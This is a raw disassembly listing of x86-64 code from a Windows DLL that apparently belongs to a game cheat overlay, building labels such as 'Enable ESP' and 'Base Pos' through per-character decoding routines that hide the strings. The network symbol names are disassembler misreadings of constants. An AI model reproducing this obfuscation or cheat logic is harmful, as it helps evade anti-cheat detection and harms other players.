mov byte [rbp + 0xd7b], r15b
mov byte [rbp + 0xd7c], r14b
mov byte [rbp + 0xd7d], sil
mov byte [rbp + 0xd7e], dil
mov byte [rbp + 0xd7f], bl
mov byte [rbp + 0xd80], al
lea rcx, [rbp + 0x19d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recvfrom
mov edx, ebx
lea rcx, [rbp + 0x19d8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xd70]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180056a00
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x19d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cfb30
lea rcx, [rbp + 0x4358]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x19d8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x4360]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x19d8]
call fcn.180011f20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd88], xmm0
mov byte [rbp + 0xd98], al
mov cl, 0x43
call fcn.1800147e0
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.1800147e0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800147e0
mov byte [rsp + 0x52], al
mov cl, 0x65
call fcn.1800147e0
mov byte [rsp + 0x53], al
mov cl, WSAGetLastError
call fcn.1800147e0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147e0
mov byte [rsp + 0x55], al
mov cl, 0x20
call fcn.1800147e0
mov byte [rsp + 0x56], al
mov cl, 0x57
call fcn.1800147e0
mov byte [rsp + 0x57], al
mov cl, 0x65
call fcn.1800147e0
mov byte [rsp + 0x58], al
mov cl, 0x61
call fcn.1800147e0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800147e0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147e0
movzx r15d, al
mov cl, WSAGetLastError
call fcn.1800147e0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147e0
movzx esi, al
mov cl, 0x20
call fcn.1800147e0
movzx edi, al
mov cl, 0x3a
call fcn.1800147e0
movzx ebx, al
xor ecx, ecx
call fcn.1800147e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xd88], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xd89], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xd8a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xd8b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xd8c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xd8d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xd8e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xd8f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xd90], cl
mov byte [rbp + 0xd91], r13b
mov byte [rbp + 0xd92], r12b
mov byte [rbp + 0xd93], r15b
mov byte [rbp + 0xd94], r14b
mov byte [rbp + 0xd95], sil
mov byte [rbp + 0xd96], dil
mov byte [rbp + 0xd97], bl
mov byte [rbp + 0xd98], al
lea rcx, [rbp + 0x19f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000000
xor r8d, r8d
mov esi, reloc.WS2_32.dll_recvfrom
mov edx, esi
lea rcx, [rbp + 0x19f8]
call fcn.180014330
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0xd88]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.1800147e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x19f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cfd50
lea rcx, [rbp + 0x19f8]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x4858]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x19f8]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x4368]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4d38]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x4370]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4d38]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x930], rax
mov dword [rbp + 0x938], eax
mov word [rbp + 0x93c], ax
mov cl, 0x4d
call fcn.1800146e0
mov byte [rsp + 0x50], al
mov cl, 0x79
call fcn.1800146e0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800146e0
mov byte [rsp + 0x52], al
mov cl, 0x50
call fcn.1800146e0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146e0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800146e0
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.1800146e0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146e0
movzx r12d, al
mov cl, 0x69
call fcn.1800146e0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800146e0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.1800146e0
movzx esi, al
mov cl, 0x20
call fcn.1800146e0
movzx edi, al
mov cl, 0x3a
call fcn.1800146e0
movzx ebx, al
xor ecx, ecx
call fcn.1800146e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x930], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x931], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x932], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x933], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x934], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x935], cl
mov byte [rbp + 0x936], r13b
mov byte [rbp + 0x937], r12b
mov byte [rbp + 0x938], r15b
mov byte [rbp + 0x939], r14b
mov byte [rbp + 0x93a], sil
mov byte [rbp + 0x93b], dil
mov byte [rbp + 0x93c], bl
mov byte [rbp + 0x93d], al
lea rcx, [rbp + 0x1a18]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1a18]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x930]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800146e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1a18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800cffa0
lea rcx, [rbp + 0x4378]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x1a18]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x4380]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x1a18]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x920], rax
mov dword [rbp + 0x928], eax
mov word [rbp + 0x92c], ax
mov cl, 0x4d
call fcn.18001dba0
mov byte [rsp + 0x50], al
mov cl, 0x79
call fcn.18001dba0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.18001dba0
mov byte [rsp + 0x52], al
mov cl, 0x50
call fcn.18001dba0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.18001dba0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.18001dba0
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.18001dba0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.18001dba0
movzx r12d, al
mov cl, 0x69
call fcn.18001dba0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.18001dba0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.18001dba0
movzx esi, al
mov cl, 0x20
call fcn.18001dba0
movzx edi, al
mov cl, 0x3a
call fcn.18001dba0
movzx ebx, al
xor ecx, ecx
call fcn.18001dba0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x920], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x921], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x922], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x923], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x924], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x925], cl
mov byte [rbp + 0x926], r13b
mov byte [rbp + 0x927], r12b
mov byte [rbp + 0x928], r15b
mov byte [rbp + 0x929], r14b
mov byte [rbp + 0x92a], sil
mov byte [rbp + 0x92b], dil
mov byte [rbp + 0x92c], bl
mov byte [rbp + 0x92d], al
lea rcx, [rbp + 0x1a38]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000000
xor r8d, r8d
mov esi, recv
mov edx, esi
lea rcx, [rbp + 0x1a38]
call fcn.180014330
xor edi, edi
mov rdx, rdi
lea rcx, [rbp + 0x920]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.18001dba0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1a38]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d0180
lea rcx, [rbp + 0x1a38]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x4868]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x1a38]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x4388]
call fcn.180076f00
movss xmm6, dword [rax]
movss dword [rsp + 0x20], xmm10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4fc0]
lea rcx, [rbp + 0x4390]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4fc0]
call fcn.1800940c0
call fcn.180075800
call fcn.180075800
nop
lea rcx, [rbp + 0x4d20]
call fcn.1800a93a0
call fcn.180070430
jmp case.default.0x1800caf59
movss xmm12, dword [0x1801ce774]
movaps xmm0, xmm12
call fcn.180076c20
movaps xmm0, xmm12
call fcn.180076bd0
lea rcx, [rbp + 0x4398]
call fcn.180076f00
movss xmm6, dword [rax + 4]
mulss xmm6, xmm9
addss xmm6, xmm11
lea rcx, [rbp + 0x43a0]
call fcn.180076f00
movss xmm1, dword [rax]
mulss xmm1, xmm9
movss xmm10, dword [0x1801ce760]
subss xmm1, xmm10
movaps xmm2, xmm6
lea rcx, [rbp + 0x43a8]
call fcn.180011e10
mov qword [rbp - 0x80], rax
xor eax, eax
mov qword [rbp + 0x720], rax
mov word [rbp + 0x728], ax
mov cl, 0x23
call fcn.1800146a0
mov byte [rsp + 0x50], al
mov cl, 0x23
call fcn.1800146a0
mov byte [rsp + 0x51], al
mov cl, 0x65
call fcn.1800146a0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800146a0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.1800146a0
movzx r15d, al
mov cl, 0x5f
call fcn.1800146a0
movzx r14d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146a0
movzx esi, al
mov cl, 0x61
call fcn.1800146a0
movzx edi, al
mov cl, 0x62
call fcn.1800146a0
movzx ebx, al
xor ecx, ecx
call fcn.1800146a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x720], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x721], cl
mov byte [rbp + 0x722], r13b
mov byte [rbp + 0x723], r12b
mov byte [rbp + 0x724], r15b
mov byte [rbp + 0x725], r14b
mov byte [rbp + 0x726], sil
mov byte [rbp + 0x727], dil
mov byte [rbp + 0x728], bl
mov byte [rbp + 0x729], al
lea rcx, [rbp + 0x1a58]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x20000000
xor r8d, r8d
mov ebx, 0xa
mov edx, ebx
lea rcx, [rbp + 0x1a58]
call fcn.180014330
xor edi, edi
mov esi, edi
mov r14d, ebx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x720]
call fcn.180014ac0
movzx ecx, byte [rax]
call fcn.1800146a0
movzx ebx, al
mov rdx, rsi
lea rcx, [rbp + 0x1a58]
call fcn.180014c80
mov byte [rax], bl
inc rsi
sub r14, 1
jne 0x1800d03e0
lea rcx, [rbp + 0x1a58]
call fcn.1800143e0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
mov rcx, rax
call fcn.180070380
nop
lea rcx, [rbp + 0x1a58]
call fcn.180011f20
xor eax, eax
mov dword [rbp + 0x1130], eax
mov cl, 0x45
call fcn.180056a80
mov byte [rsp + 0x70], al
mov cl, 0x53
call fcn.180056a80
mov byte [rsp + 0x71], al
mov cl, 0x50
call fcn.180056a80
mov byte [rsp + 0x72], al
xor ecx, ecx
call fcn.180056a80
mov byte [rsp + 0x73], al
mov eax, dword [rsp + 0x70]
mov dword [rbp + 0x1130], eax
lea rcx, [rbp + 0x1a78]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x40000000
xor r8d, r8d
mov ebx, 4
mov edx, ebx
lea rcx, [rbp + 0x1a78]
call fcn.180014330
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0x1130]
call fcn.180014a20
movzx ecx, byte [rax]
call fcn.180056a80
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1a78]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d04b0
lea rcx, [rbp + 0x1a78]
call fcn.1800143e0
mov rcx, rax
call fcn.1800b1aa0
nop
lea rcx, [rbp + 0x1a78]
call fcn.180011f20
mov rcx, qword [0x1805e4a20]
call fcn.180075760
movss xmm7, dword [0x1801ce7d0]
movaps xmm0, xmm7
call fcn.180076c20
movss xmm13, dword [0x1801ce7a8]
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xb60], rax
mov dword [rbp + 0xb68], eax
mov cl, 0x20
call fcn.1800146f0
mov byte [rsp + 0x50], al
mov cl, 0x45
call fcn.1800146f0
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.1800146f0
mov byte [rsp + 0x52], al
mov cl, 0x61
call fcn.1800146f0
mov byte [rsp + 0x53], al
mov cl, 0x62
call fcn.1800146f0
movzx r13d, al
mov cl, 0x6c
call fcn.1800146f0
movzx r12d, al
mov cl, 0x65
call fcn.1800146f0
movzx r15d, al
mov cl, 0x20
call fcn.1800146f0
movzx r14d, al
mov cl, 0x45
call fcn.1800146f0
movzx esi, al
mov cl, 0x53
call fcn.1800146f0
movzx edi, al
mov cl, 0x50
call fcn.1800146f0
movzx ebx, al
xor ecx, ecx
call fcn.1800146f0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xb60], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xb61], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xb62], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xb63], cl
mov byte [rbp + 0xb64], r13b
mov byte [rbp + 0xb65], r12b
mov byte [rbp + 0xb66], r15b
mov byte [rbp + 0xb67], r14b
mov byte [rbp + 0xb68], sil
mov byte [rbp + 0xb69], dil
mov byte [rbp + 0xb6a], bl
mov byte [rbp + 0xb6b], al
lea rcx, [rbp + 0x1a98]
call fcn.180011f00
mov dword [rsp + 0x5c], 0x80000000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1a98]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop
mov rdx, rdi
lea rcx, [rbp + 0xb60]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.1800146f0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1a98]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d0650
lea rcx, [rbp + 0x1a98]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48aa]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1a98]
call fcn.180011f20
movaps xmm0, xmm13
call fcn.180076bd0
xor eax, eax
mov qword [rbp + 0xb70], rax
mov dword [rbp + 0xb78], eax
mov cl, 0x20
call fcn.180056960
mov byte [rsp + 0x50], al
mov cl, 0x43
call fcn.180056960
mov byte [rsp + 0x51], al
mov cl, 0x75
call fcn.180056960
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056960
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056960
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056960
movzx r12d, al
mov cl, 0x6d
call fcn.180056960
movzx r15d, al
mov cl, 0x20
call fcn.180056960
movzx r14d, al
mov cl, 0x45
call fcn.180056960
movzx esi, al
mov cl, 0x53
call fcn.180056960
movzx edi, al
mov cl, 0x50
call fcn.180056960
movzx ebx, al
xor ecx, ecx
call fcn.180056960
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xb70], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xb71], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xb72], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xb73], cl
mov byte [rbp + 0xb74], r13b
mov byte [rbp + 0xb75], r12b
mov byte [rbp + 0xb76], r15b
mov byte [rbp + 0xb77], r14b
mov byte [rbp + 0xb78], sil
mov byte [rbp + 0xb79], dil
mov byte [rbp + 0xb7a], bl
mov byte [rbp + 0xb7b], al
lea rcx, [rbp + 0x1ab8]
call fcn.180011f00
mov dword [rsp + 0x5c], 1
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1ab8]
call fcn.180014330
xor r13d, r13d
mov edi, r13d
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xb70]
call fcn.180014b10
movzx ecx, byte [rax]
call fcn.180056960
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1ab8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d07e0
lea rcx, [rbp + 0x1ab8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48b3]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1ab8]
call fcn.180011f20
movss xmm8, dword [0x1801ce7c0]
cmp byte [0x1805e48b3], sil
je 0x1800d115e
call fcn.180096cd0
movaps xmm0, xmm8
call fcn.180076bd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xce0], xmm0
mov dword [rbp + 0xcf0], eax
mov word [rbp + 0xcf4], ax
mov cl, 0x20
call fcn.180056810
mov byte [rsp + 0x50], al
mov cl, 0x49
call fcn.180056810
mov byte [rsp + 0x51], al
mov cl, WSAGetLastError
call fcn.180056810
mov byte [rsp + 0x52], al
mov cl, 0x76
call fcn.180056810
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180056810
mov byte [rsp + 0x54], al
mov cl, WSAStartup
call fcn.180056810
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056810
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180056810
mov byte [rsp + 0x57], al
mov cl, 0x54
call fcn.180056810
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.180056810
mov byte [rsp + 0x59], al
mov cl, 0x78
call fcn.180056810
mov byte [rsp + 0x5a], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056810
mov byte [rsp + 0x60], al
mov cl, 0x20
call fcn.180056810
mov byte [rsp + 0x61], al
mov cl, 0x50
call fcn.180056810
mov byte [rsp + 0x62], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056810
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056810
movzx r12d, al
mov cl, 0x69
call fcn.180056810
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056810
movzx r14d, al
mov cl, 0x69
call fcn.180056810
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056810
movzx edi, al
mov cl, WSAGetLastError
call fcn.180056810
movzx ebx, al
xor ecx, ecx
call fcn.180056810
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xce0], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xce1], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xce2], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xce3], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xce4], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xce5], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xce6], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xce7], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xce8], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xce9], cl
movzx ecx, byte [rsp + 0x5a]
mov byte [rbp + 0xcea], cl
movzx ecx, byte [rsp + 0x60]
mov byte [rbp + 0xceb], cl
movzx ecx, byte [rsp + 0x61]
mov byte [rbp + 0xcec], cl
movzx ecx, byte [rsp + 0x62]
mov byte [rbp + 0xced], cl
mov byte [rbp + 0xcee], r13b
mov byte [rbp + 0xcef], r12b
mov byte [rbp + 0xcf0], r15b
mov byte [rbp + 0xcf1], r14b
mov byte [rbp + 0xcf2], sil
mov byte [rbp + 0xcf3], dil
mov byte [rbp + 0xcf4], bl
mov byte [rbp + 0xcf5], al
lea rcx, [rbp + 0x1ad8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200
xor r8d, r8d
mov esi, socket
mov edx, esi
lea rcx, [rbp + 0x1ad8]
call fcn.180014330
xor edi, edi
mov rdx, rdi
lea rcx, [rbp + 0xce0]
call fcn.180014570
movzx ecx, byte [rax]
call fcn.180056810
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1ad8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d0a60
lea rcx, [rbp + 0x1ad8]
call fcn.1800143e0
mov rcx, rax
lea rdx, [0x1805e48ad]
call fcn.1800b3d40
nop
lea rcx, [rbp + 0x1ad8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x910], rax
mov dword [rbp + 0x918], eax
mov word [rbp + 0x91c], ax
mov cl, 0x42
call fcn.1800147c0
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.1800147c0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800147c0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147c0
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.1800147c0
mov byte [rsp + 0x54], al
mov cl, 0x50
call fcn.1800147c0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147c0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800147c0
movzx r12d, al
mov cl, 0x69
call fcn.1800147c0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800147c0
movzx r14d, al
mov cl, 0x69
call fcn.1800147c0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800147c0
movzx edi, al
mov cl, WSAGetLastError
call fcn.1800147c0
movzx ebx, al
xor ecx, ecx
call fcn.1800147c0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x910], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x911], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x912], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x913], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x914], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x915], cl
mov byte [rbp + 0x916], r13b
mov byte [rbp + 0x917], r12b
mov byte [rbp + 0x918], r15b
mov byte [rbp + 0x919], r14b
mov byte [rbp + 0x91a], sil
mov byte [rbp + 0x91b], dil
mov byte [rbp + 0x91c], bl
mov byte [rbp + 0x91d], al
lea rcx, [rbp + 0x1af8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x1af8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x910]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800147c0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1af8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d0c10
lea rcx, [rbp + 0x43b0]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x1af8]
call fcn.1800143e0
mov rdx, rax
movss xmm1, dword [0x1801ce8d8]
movss dword [rsp + 0x20], xmm1
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x43b8]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x1af8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x900], rax
mov dword [rbp + 0x908], eax
mov word [rbp + 0x90c], ax
mov cl, 0x42
call fcn.1800567a0
mov byte [rsp + 0x50], al
mov cl, 0x61
call fcn.1800567a0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800567a0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800567a0
mov byte [rsp + 0x53], al
mov cl, 0x20
call fcn.1800567a0
mov byte [rsp + 0x54], al
mov cl, 0x50
call fcn.1800567a0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567a0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800567a0
movzx r12d, al
mov cl, 0x69
call fcn.1800567a0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800567a0
movzx r14d, al
mov cl, 0x69
call fcn.1800567a0
movzx esi, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800567a0
movzx edi, al
mov cl, WSAGetLastError
call fcn.1800567a0
movzx ebx, al
xor ecx, ecx
call fcn.1800567a0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x900], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x901], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x902], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x903], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x904], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x905], cl
mov byte [rbp + 0x906], r13b
mov byte [rbp + 0x907], r12b
mov byte [rbp + 0x908], r15b
mov byte [rbp + 0x909], r14b
mov byte [rbp + 0x90a], sil
mov byte [rbp + 0x90b], dil
mov byte [rbp + 0x90c], bl
mov byte [rbp + 0x90d], al
lea rcx, [rbp + 0x1b18]
call fcn.180011f00
mov dword [rsp + 0x70], 0x800
xor r8d, r8d
mov esi, recv
mov edx, esi
lea rcx, [rbp + 0x1b18]
call fcn.180014330
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x900]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800567a0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x1b18]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800d0e00
lea rcx, [rbp + 0x1b18]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
nop
lea rcx, [rbp + 0x1b18]
call fcn.180011f20
